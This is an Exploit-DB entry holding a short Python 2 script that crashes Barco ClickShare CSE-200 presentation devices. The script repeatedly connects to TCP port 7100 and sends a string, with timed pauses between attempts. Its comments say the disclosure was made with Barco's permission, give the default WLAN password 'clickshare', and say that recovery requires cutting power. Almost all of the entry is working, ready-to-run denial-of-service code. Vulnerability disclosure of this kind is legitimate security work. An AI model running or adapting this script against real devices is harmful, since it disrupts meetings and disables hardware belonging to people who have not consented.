Barco ClickShare CSE-200 – Remote Denial of Service

  • 作者： Florian Hauser
    日期： 2018-04-16
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44456/
  • #!/usr/bin/python

# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service
# Date: 11-04-2018
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200
# Exploit Author: Florian Hauser
# Contact: florian DOT g DOT hauser AT gmail DOT com
# CVE: requested by Barco
# Category: Hardware

#Disclaimer:
#This or previous programs is for Educational 
#purpose ONLY. Do not use it without permission. 
#The usual disclaimer applies, especially the 
#fact that Florian Hauser is not liable for any 
#damages caused by direct or indirect use of the 
#information or functionality provided by these 
#programs. The author or any Internet provider 
#bears NO responsibility for content or misuse 
#of these programs or any derivatives thereof.
#By using these programs you accept the fact 
#that any damage (dataloss, system crash, 
#system compromise, etc.) caused by the use 
#of these programs is not Florian Hauser's 
#responsibility.
# 
#Use them at your own risk!
################
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-
# not only disconnects all clients but also results in a crash of this hardware device
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.
# I got permission from Barco to disclose this vulnerability.
# This affects potentially all other ClickShare products, Barco confirms

import socket
import sys
from time import sleep

if len(sys.argv) != 2:
	print "Usage: exploit.py <ip>"
	sys.exit(0)


# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.
# 6-7 requests do the job usually
for x in range(1,50):
	#Create a new socket each time because otherwise the service drops the socket
	#Same request cannot be sent several times in sequence
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	
	#Connect to vulnerable TCP port 7100
	connect=s.connect((str(sys.argv[1]), 7100))
	s.send('some evil string \r\n\n')
	print "Buffer " + str(x) + " sent...\n"
	
	result=s.recv(1024)
	print result
	s.close()
	
	#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash
	sleep(7)
    Python